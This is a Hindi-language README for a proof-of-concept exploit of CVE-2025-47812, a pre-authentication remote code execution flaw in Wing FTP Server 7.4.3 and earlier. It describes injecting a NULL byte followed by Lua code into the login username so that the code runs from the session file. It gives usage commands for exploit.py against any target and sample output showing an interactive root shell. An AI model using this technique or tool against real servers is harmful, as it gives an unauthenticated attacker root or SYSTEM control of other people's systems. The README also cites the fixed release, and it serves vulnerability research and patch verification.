CVE-2025-47812 — Wing FTP Server <= 7.4.3 बिना प्रमाणीकरण के RCE (PoC)

Wing FTP Server <= 7.4.3 में बिना प्रमाणीकरण के रिमोट कोड निष्पादन भेद्यता। लॉगिन के दौरान username पैरामीटर में एक NULL बाइट इंजेक्ट करने से Lua कोड सेशन फ़ाइल में लिखा जाता है। जब परिणामी सेशन कुकी के साथ /dir.html तक पहुँचा जाता है, तो इंजेक्टेड कोड निष्पादित होता है — Linux पर रूट या Windows पर SYSTEM के रूप में।

यह कैसे काम करता है

1. एक निर्मित POST /loginok.html पर username फ़ील्ड में NULL बाइट और उसके बाद Lua कोड इंजेक्ट करता है।
2. सर्वर एक सेशन फ़ाइल बनाता है जिसमें अशुद्धित username (Lua पेलोड सहित) होता है।
3. वापस आई UID कुकी के साथ /dir.html पर GET अनुरोध इंजेक्टेड Lua कोड के निष्पादन को ट्रिगर करता है।
4. स्क्रिप्ट कमांड के बीच लॉग आउट करती है ताकि सर्वर की समवर्ती सेशन सीमा न टकराए।

आवश्यकताएँ

• Python 3
• निर्भरताएँ स्थापित करें:

python3 -m venv venv
source venv/bin/activate
python3 -m pip install requests prompt_toolkit

उपयोग

python3 exploit.py -u http://TARGET

उदाहरण:

$ python3 exploit.py -u http://10.10.10.10
[*] लक्ष्य http://10.10.10.10
[*] इंजेक्टेड पेलोड के साथ लॉगिन कर रहा है...
[*] पेलोड ट्रिगर कर रहा है...
[+] लक्ष्य असुरक्षित है! कमांड आउटपुट:
uid=0(root) gid=0(root) groups=0(root)

[+] शेल खोला गया। बाहर निकलने के लिए 'exit' या Ctrl+C टाइप करें।

Shell> whoami
root

संदर्भ

• CVE-2025-47812
• Wing FTP Server 7.4.4 रिलीज़ (फिक्स)
• 4m3rr0r द्वारा मूल PoC

श्रेय

• खोज और मूल शोषण: शेख मोहम्मद हसन उर्फ 4m3rr0r
• सफाई और सरलीकरण: Esteban Zárate